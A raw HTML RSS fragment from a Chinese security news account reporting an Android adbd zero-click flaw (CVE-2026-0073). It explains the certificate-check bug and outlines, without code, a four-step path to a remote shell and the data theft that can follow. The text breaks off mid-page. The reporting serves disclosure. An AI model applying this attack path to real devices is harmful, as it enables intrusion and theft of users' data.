data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/Cpo2XCpI7K03YtIMMKIgglNH5nYmeHZtX1IaJZb5SBOS9ZiaLibVQ68aGXEMKibl1EQquV4jrFHJG4LLL6POs1YY2sL4wCiaprjxHv9qMO8K4OM/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="68" data-cropsely2="68" data-imgfileid="311130624" src="https://wechat2rss.xlab.app/img-proxy/?k=44cc5e0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K03YtIMMKIgglNH5nYmeHZtX1IaJZb5SBOS9ZiaLibVQ68aGXEMKibl1EQquV4jrFHJG4LLL6POs1YY2sL4wCiaprjxHv9qMO8K4OM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-left: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;align-items: flex-start;justify-content: center;flex-direction: column;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" data-immersive-translate-paragraph="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 15px;letter-spacing: 1px;font-weight: bolder;"><span leaf="">看雪ID：</span><span leaf="">TeddyBe4r</span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: normal;"><span leaf=""><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://bbs.kanxue.com/user-home-983513.htm" target="_blank">https://bbs.kanxue.com/user-home-983513.htm</a></span></span></span></p></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;min-height: 1em;background-color: rgb(255, 255, 255);"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 14px;color: rgb(136, 136, 136);"><span leaf="">*本文为看雪论坛精华文章，由 </span><span leaf="">TeddyBe4r</span><span leaf="">原创，转载请注明来自看雪社区</span></span></p><div style="text-align: center;margin-left: 0px;margin-right: 0px;"><p style="text-align: center;margin-top: 16px;"><a href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458611117&amp;idx=1&amp;sn=f063788f8971edf449fd09571d515ba7&amp;scene=21#wechat_redirect" imgurl="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/640?wx_fmt=jpeg&amp;from=appmsg" linktype="image" tab="innerlink" data-itemshowtype="0" target="_blank" data-linktype="1"><span style="width:100%;" class="js_jump_icon h5_image_link"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.509375" data-s="300,640" data-type="jpeg" data-w="1280" style="width:100%;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="578" data-cropsely2="233" data-backw="578" data-backh="294" data-imgfileid="311130825" src="https://wechat2rss.xlab.app/img-proxy/?k=5cafe0fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></a></p><p style="text-align: center;"><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">第十届安全开发者峰会【</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;margin-left: 0px;margin-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">议题征集</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">】-欢迎投稿</span></span></p></div><div mpa-from-tpl="t" data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 645px;vertical-align: top;background-color: rgb(248, 248, 248);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 20px;margin-bottom: 20px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;flex-flow: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: 30px;margin-left: 30px;-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: auto;vertical-align: top;flex: 100 100 0%;height: auto;align-self: flex-start;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(68, 73, 85);" data-mpa-action-id="mn46ojsngb5" data-pm-slice="0 0 []"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-weight: bolder;letter-spacing: 1px;font-size: 15px;color: rgb(2, 30, 170);" data-mpa-action-id="mc4gkooxw4z"><span style="color: rgb(2, 30, 170);font-size: 15px;" mpa-font-style="md8f6c2zutc"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);"># 往期推荐</span></span></span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612348&amp;idx=1&amp;sn=9b1f49187644981e264882dedfde45f9&amp;scene=21#wechat_redirect" textvalue="安卓逆向基础知识之frida Hook" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">安卓逆向基础知识之frida Hook</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr65jp" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612341&amp;idx=1&amp;sn=08f4b531105ec2b3a44360f66169db05&amp;scene=21#wechat_redirect" textvalue="2025 强网杯和强网拟态部分题解" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">2025 强网杯和强网拟态部分题解</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61va5" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612340&amp;idx=1&amp;sn=0c799826addbc96801752a6c70938bf1&amp;scene=21#wechat_redirect" textvalue="在逆向分析方面-unidbg真的适合 MCP 吗？" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">在逆向分析方面-unidbg真的适合 MCP 吗？</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61ws2" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612335&amp;idx=1&amp;sn=ca23336eef45a4993cc6e5b191e62a61&amp;scene=21#wechat_redirect" textvalue="AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612118&amp;idx=2&amp;sn=47fe8a55e77b2ca8f2f8d73c9a9d99d0&amp;scene=21#wechat_redirect" textvalue="某安全so库深度解析" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">某安全so库深度解析</span></a></span></p></div></div></div></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="-webkit-tap-highlight-color: transparent;outline: 0px;border-style: none;color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;display: inline;width: 661px !important;visibility: visible !important;" width="661px" data-backw="562" data-backh="263" data-copyright="0" data-fileid="100035996" data-imgfileid="311109982" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b64b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111351" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 13px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111352" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111353" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111354" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec9988e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://bbs.kanxue.com/thread-290935.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0d086112&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614891%26idx%3D2%26sn%3D78d6f9684285c9b2f339ab01f3ca37f0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 12 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>安卓惊现零点击核弹漏洞！远程Shell权限被轻易窃取，PoC已公开</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614891&amp;idx=3&amp;sn=0de81f82941d24d10b76da58cb08c893</link>
      <description>安卓adbd零点击漏洞PoC发布，可远程获取设备权限</description>
      <content:encoded><![CDATA[<p><span>看雪学苑</span> <span>2026-05-12 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b41c7121&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1Jg9M7tXtx8JpVW2PtK8ROKoegMHwEJLq6e0G3S8q1VjAicfER96ZshdocnJqZrEyvv0fQJlOpJbkWl2Yj0PHFyxj6pteYb3Ag%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>安卓adbd零点击漏洞PoC发布，可远程获取设备权限</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-mpa-action-id="mp2fxhze1bqn" data-pm-slice="0 0 []"><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1sxg"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2026年5月，谷歌发布的Android安全公告中，曝光了一个零点击高危漏洞（CVE-2026-0073），该漏洞存在于安卓系统核心的adbd守护进程中，已被BARGHEST安全研究团队披露并公开了完整的PoC利用代码。这意味着，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(2, 30, 170);">攻击者只需与目标设备处于同一网络环境，无需用户任何操作，就能悄无声息地获取设备的完整shell访问权限，将开发者调试工具变成远程控制的隐形后门。</span></span></p><div data-role="title" data-tools="135编辑器" data-id="100789" data-pm-slice="0 0 []"><div style="margin:10px 5px;text-align: center;"><div style="display: inline-block;"><div style="display: flex;justify-content: center;align-items: flex-start;"><div><div style="border: 1px solid #1c71be;padding: 4px 7px 0px 2px;"><p data-brushtype="text" style="font-size: 15px;letter-spacing: 1.5px;padding: 5px 1.3em;color: #1c71be;background: #f6f9fd;"><span style="font-size:15px;"><span leaf="">漏洞根源：加密验证逻辑的致命缺陷</span></span></p></div></div></div></div></div></div><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">这个灾难性漏洞的核心在于adbd_tls_verify_cert函数中的</span><span textstyle="" style="letter-spacing: 1px;color: rgb(2, 30, 170);">加密逻辑错误，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">该函数负责验证无线ADB连接的客户端证书。现代安卓设备的无线调试功能依赖双向TLS认证机制，确保只有经过配对的可信设备才能连接。</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyitlq"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">正常流程中，系统会使用EVP_PKEY_cmp API比较客户端证书公钥与设备信任存储中的授权RSA密钥。但当攻击者提供非RSA证书（如EC P-256或Ed25519）时，该API会返回-1表示算法不匹配。而安卓底层C++实现中，所有非零整数都被视为布尔值true，导致系统错误地将攻击者的证书判定为可信，直接绕过了身份验证环节。</span></span></p><div data-role="title" data-tools="135编辑器" data-id="100789" data-pm-slice="0 0 []"><div style="margin:10px 5px;text-align: center;"><div style="display: inline-block;"><div style="display: flex;justify-content: center;align-items: flex-start;"><div><div style="border: 1px solid #1c71be;padding: 4px 7px 0px 2px;"><p data-brushtype="text" style="font-size: 15px;letter-spacing: 1.5px;padding: 5px 1.3em;color: #1c71be;background: #f6f9fd;"><span style="font-size:15px;"><p><span leaf="">攻击流程：三步即可突破设备防线</span></p></span></p></div></div></div></div></div></div><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1yl2"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">尽管漏洞原理看似简单，但成功利用需要精准操控协议流程：</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1jqo"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">1.  建立TCP连接：攻击者首先连接目标设备的5555端口（ADB默认端口）</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi2018"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">2.  协商STLS升级：成功完成安全传输层协议升级</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyidm8"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">3.  提交恶意证书：发送跨算法证书绕过验证，建立加密隧道</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1u0w"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">4.  获取shell权限：在加密通道中恢复ADB通信，打开远程shell，获得shell用户执行权限</span></span></p><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi1n3o"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">一旦攻击成功，攻击者可绕过应用沙箱限制，执行以下操作：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyiq14"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">提取短信、通讯录、照片等敏感个人信息</span></span></p></li><li><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyi16y6"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">静默安装恶意应用，劫持设备功能</span></span></p></li><li><p><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mp2fxhyiwy4"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">修改系统设置，植入持久化后门，为后续攻击铺路</span></span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="100789" 